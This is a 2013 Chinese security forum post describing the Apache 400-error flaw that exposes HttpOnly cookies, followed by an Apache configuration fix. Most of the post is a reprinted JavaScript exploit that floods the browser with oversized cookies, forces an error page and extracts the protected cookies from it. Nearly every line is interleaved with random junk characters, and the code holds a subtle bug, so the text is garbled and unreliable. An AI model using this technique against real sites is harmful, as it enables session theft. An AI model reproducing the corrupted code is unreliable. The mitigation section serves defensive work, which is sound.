找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2597|回复: 0
打印 上一主题 下一主题

Apache HttpOnly Cookie XSS跨站漏洞

[复制链接]
跳转到指定楼层
楼主
发表于 2013-4-19 19:15:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
很多程序以及一些商业或者成熟开源的cms文章系统为了防止xss盗取用户cookie的问题,一般都采用给cookie加上httponly的属性,来禁止直接使用js得到用户的cookie,从而降低xss的危害,而这个问题刚好可以用来绕过cookie的这个httponly的属性。
& l3 D$ Z2 o; K7 `* ]% e6 E, _7 i
* B- F1 v+ j, D用chrome打开一个站点,F12打开开发者工具,找到console输入如下代码并回车:. P! ^8 G+ y  g" s- `2 a6 c& C

3 U( H8 k  D8 ^! H5 v, f4 M# W9 F. s: C( a3 s- Z6 K
// http://www.exploit-db.com/exploits/18442/0 N7 R+ T5 B, S5 g" S& v
function setCookies (good) {
& i: C$ `8 d  e, ]7 c- [2 @9 C3 v0 {" ^) d// Construct string for cookie value
" |# A% ~. q3 Ovar str = "";$ p+ b9 K; Q7 J0 @+ N
for (var i=0; i< 819; i++) {7 D4 V% k; J  ^; J- ]
str += "x";! L) W- b* L  s7 s* \8 ^# H
}
  Q7 A) q( h' l. K, M// Set cookies+ F' i5 O7 i$ p
for (i = 0; i < 10; i++) {+ x: |9 P7 j  e- g) B4 O* o
// Expire evil cookie
5 h5 i8 t3 L" [3 X% \( B* oif (good) {
7 d. z0 F% a6 J& Dvar cookie = "xss"+i+"=;expires="+new Date(+new Date()-1).toUTCString()+"; path=/;";
; k. P0 X% m$ W}
* `% p3 i: Y* H3 e! m// Set evil cookie- W! K4 {6 t! `# X  @9 g- \
else {
1 \# \6 w- ]5 F, G6 i% Cvar cookie = "xss"+i+"="+str+";path=/";) ^/ t# e& n/ ^. ]- m
}# x  S5 Q& \: |; y! K% ~7 o
document.cookie = cookie;
8 c, e6 X1 y# D! v}
$ ?6 B& _. X$ ?}; N5 ^. S1 s" o8 `  J( E
function makeRequest() {
3 G% u9 V7 \! R3 d: w# QsetCookies();
& Z9 t5 f; n2 |/ d- |0 t' h2 Pfunction parseCookies () {; f, U  ~: \# V; [4 }  y1 ~# p
var cookie_dict = {};3 t+ @9 Q. T' R
// Only react on 400 status2 P5 H- h/ N. d
if (xhr.readyState === 4 && xhr.status === 400) {, k9 Q, E! M  }( q& Q: B0 h1 A4 j
// Replace newlines and match <pre> content* n1 b& W% h8 ~2 B$ s7 F) |& q1 p9 ~
var content = xhr.responseText.replace(/\r|\n/g,'').match(/<pre>(.+)<\/pre>/);& r5 U+ q2 N3 U0 a2 e! z
if (content.length) {
9 X3 B6 o5 p/ H  O2 ]// Remove Cookie: prefix  w4 t* [6 f; P: w& t. V2 A
content = content[1].replace("Cookie: ", "");$ s3 y* U8 b: H1 C2 J
var cookies = content.replace(/xss\d=x+;?/g, '').split(/;/g);
" u8 @; ~- F4 w( }* A, `' A" @// Add cookies to object
1 U0 D' R$ x. ~3 c; Zfor (var i=0; i<cookies.length; i++) {
4 H# c9 _4 f- I* G$ K. ]var s_c = cookies.split('=',2);
  `% a5 i! U7 ~* X# |( }: h5 `/ Ycookie_dict[s_c[0]] = s_c[1];. H9 r& B& m) k( T+ f) Z$ C9 u
}
# f9 @& y; {5 m8 u}1 ?+ E3 j! Y8 ?7 _0 I! F1 [& ~. _
// Unset malicious cookies* f3 E9 n, R# v5 g2 Q
setCookies(true);
& s2 t2 l4 @* n3 S  ~2 H2 v# ialert(JSON.stringify(cookie_dict));9 b) X3 I+ g. j" j3 ~* _( c: f
}
& k* O# Y. ?% [0 ?}3 |8 o! U! [- b' V$ f
// Make XHR request) a$ y7 f0 C/ ^3 g
var xhr = new XMLHttpRequest();8 M) @% y8 i3 q9 R5 d
xhr.onreadystatechange = parseCookies;+ p4 F8 j0 N, }
xhr.open("GET", "/", true);
( \& ]+ i$ e8 ~/ s& vxhr.send(null);
. J6 Z9 X' @. c}
$ G/ s2 c2 ?) ?1 S3 X: VmakeRequest();
, q* y4 a5 |1 {0 [: |( K4 E" T) f  s. M- s9 n3 ~0 b
你就能看见华丽丽的400错误包含着cookie信息。! S0 b/ M7 L/ _  |' X/ ~
( ?/ w5 k  l  j
下载地址:https://gist.github.com/pilate/1955a1c28324d4724b7b/download#& v" j' B( Y! m: K2 C  O

* Y' Y9 ]" O, f7 X修复方案:, p) T8 ]8 h" B( \+ Z+ ^( s  b
9 x2 d9 D1 n/ A7 c: d
Apache官方提供4种错误处理方式(http://httpd.apache.org/docs/2.0/mod/core.html#errordocument),如下7 u! K% i2 ^  b
+ b1 l% R- U- W: E8 M
In the event of a problem or error, Apachecan be configured to do one of four things,
! h% v' A/ ]) N8 `; |6 w
% ^3 ^) L  R1 L1 {! o) K  N. x7 ~4 M1. output asimple hardcoded error message输出一个简单生硬的错误代码信息
8 F" _% }5 K! Z2. output acustomized message输出一段信息- L# A- q* M: t+ C
3. redirect to alocal URL-path to handle the problem/error转向一个本地的自定义页面
+ v; @% W3 d+ D5 N; o# `: _4. redirect to an external URL to handle theproblem/error转向一个外部URL
' H/ y# `7 T2 q& T* J$ \# s* h. ?7 K; N/ d
经测试,对于400错误只有方法2有效,返回包不会再包含cookie内容, V  l( B8 Z' q

: s3 |" q. a# v* O7 y1 dApache配置:
) E( e- O0 a3 O) N% }2 M5 ~; E0 a- ]; a4 f1 [2 C
ErrorDocument400 " security test"& p: U/ g/ f3 f* Y

0 |+ V7 P6 l, X3 N当然,升级apache到最新也可:)。$ Z, H+ t& c- H- M* d* x# T
: x" r+ S" h6 X+ H- i+ j
参考:http://httpd.apache.org/security/vulnerabilities_22.html* Q: v$ J1 Y0 q  c, T' X' b$ |8 H
9 B1 J- G# ?; N
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表